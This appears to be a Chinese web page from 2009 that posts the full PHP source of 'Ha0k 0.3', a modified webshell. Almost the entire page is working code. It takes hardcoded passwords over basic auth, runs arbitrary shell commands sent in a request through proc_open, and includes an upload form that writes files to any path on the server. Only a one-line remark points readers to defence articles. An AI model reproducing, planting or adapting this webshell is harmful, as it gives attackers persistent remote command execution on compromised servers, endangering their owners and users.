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Ha0k 0.3 PHP 网页木马修改版

 更新时间：2009年10月11日 13:46:21   作者：  
Ha0k 0.3 PHP 网页木马修改版,大家可以看下，对于此类文件的防御方法，可以参考脚本之家发布的文章。
复制代码 代码如下:

<?php
//此处可设置多个用户
$passwd = array('ha0k' => 'ha0k',
'hackerdsb'=>'hackerdsb');
/* 此处设置命令的别名 */
$aliases = array('ls' => 'ipconfig',
'll' => 'ls -lvhF');
if (!isset($_SERVER['PHP_AUTH_USER'])||!isset($_SERVER['PHP_AUTH_PW'])||
!isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
$passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
header('WWW-Authenticate: Basic realm="by Ha0k"');
header('HTTP/1.0 401 Unauthorized');
$authenticated = false;
}
else {
$authenticated = true;
/* 开始session */
session_start();
/* 初始化session. */
if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
$_SESSION['cwd'] = getcwd(); //取当前目录
$_SESSION['history'] = array();
$_SESSION['output'] = '';
}
if (!empty($_REQUEST['command'])) {
if (get_magic_quotes_gpc()) { //0表关闭，1表开启，开启时过滤
/* We don't want to add the commands to the history in the
* escaped form, so we remove the backslashes now. */
$_REQUEST['command'] = stripslashes($_REQUEST['command']); //将用addslashes()函数处理后的字符串返回原样
}
/* history */
if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) //查找保存数组中的值
unset($_SESSION['history'][$i]); //销毁
array_unshift($_SESSION['history'], $_REQUEST['command']);//array_unshift()函数的作用是在一个数组中插入新的元素。而这个新的数组将被添加到原数组的开头部分。函数最终返回的是插入新元素后的数组。
/* 输出Ha0k# command */
$_SESSION['output'] .= 'Ha0k# ' . $_REQUEST['command'] . "\n";
/* Initialize the current working directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
$_SESSION['cwd'] = dirname(__FILE__); //获取当前所在目录
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
/* The current command is a 'cd' command which we have to handle
* as an internal shell command. */
if ($regs[1][0] == '/') {
/* Absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* Relative path, we append it to the current working
* directory. */
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
}
/* Transform '/./' into '/' */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
/* Transform '//' into '/' */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
/* Transform 'x/..' into '' */
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* Try to change directory. */
if (@chdir($new_dir)) { //改变当前目录
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
}
} else {
/* The command is not a 'cd' command, so we execute it after
* changing the directory and save the output. */
chdir($_SESSION['cwd']); //改变目录
/* 别名扩展 */
$length = strcspn($_REQUEST['command'], " \t"); //查找\t字符串，返回位置
$token = substr($_REQUEST['command'], 0, $length); //取字符串0-\t
if (isset($aliases[$token]))
$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
$p = proc_open($_REQUEST['command'], //执行脚本
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
/* 读出发送 */
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]), //转换特殊字符为HTML字符编码
ENT_COMPAT, 'GB2312');
}
/* 读出 */
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, 'GB2312');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);//关闭管道
}
}
/* 构建在JavaScript使用命令历史记录 */
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';//将数组搞成字符串
}
}
header('Content-Type: text/html; charset=GB2312');
echo '<?xml version="1.0" encoding="GB2312"?>' . "\n";
?>
<?php
if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {
copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);
//echo "上传文件成功: " . $HTTP_POST_FILES['userfile']['name'];
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Ha0k webshell</title>
<script type="text/javascript" language="JavaScript">
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.command.value;
current_line++;
document.shell.command.value = command_hist[current_line];
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.command.value;
current_line--;
document.shell.command.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute("autocomplete", "off");
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.command.focus();
}
</script>
<style type="text/css">
<!--
.STYLE1 {
color: #33FF33;
font-weight: bold;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /></head>
<body onload="init()">
<BODY BGCOLOR="#$$$$$$">
<BODY TEXT="1afa3a">
<h1><a href="http://hi.baidu.com/hackerdsb" class="STYLE1">HA0K</a></h1>
<h6>WE JUST FOR JUSTICE，FIGHT FOR EVIAL</h6></FONT>
<?php if (!$authenticated) { ?>
<p>You failed to authenticate yourself to PhpShell. You can <a
href="<?php echo $_SERVER['PHP_SELF'] ?>">reload</a> to try again.</p>
<p>Try reading the <a href="INSTALL">INSTALL</a> file if you're having
problems with installing PhpShell.</p>
</body>
</html>
<?php //
exit;
}
error_reporting (E_ALL);
if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 10;
?>
<p>当前目录为: <code><?php echo $_SESSION['cwd'] ?></code></p>
<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<div>
<textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_REQUEST['rows'] ?>">
<?php
$lines = substr_count($_SESSION['output'], "\n");
$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
<</textarea>
</div><br>
<p class="prompt">
$&nbsp;<input class="prompt" name="command" type="text"
onkeyup="key(event)" size="78" tabindex="1">
</p>
<p>
<input type="submit" value="执行" />
<input type="submit" name="reset" value="恢复" />
行数: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
</p>
</form>
<form enctype="multipart/form-data" action="" method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="1000000">
<p>本地文件名: <input name="userfile" type="file">
<p>远程文件名: <input name="remotefile" type="text">
<input type="submit" value="发送">
</form>
</body>
</html>

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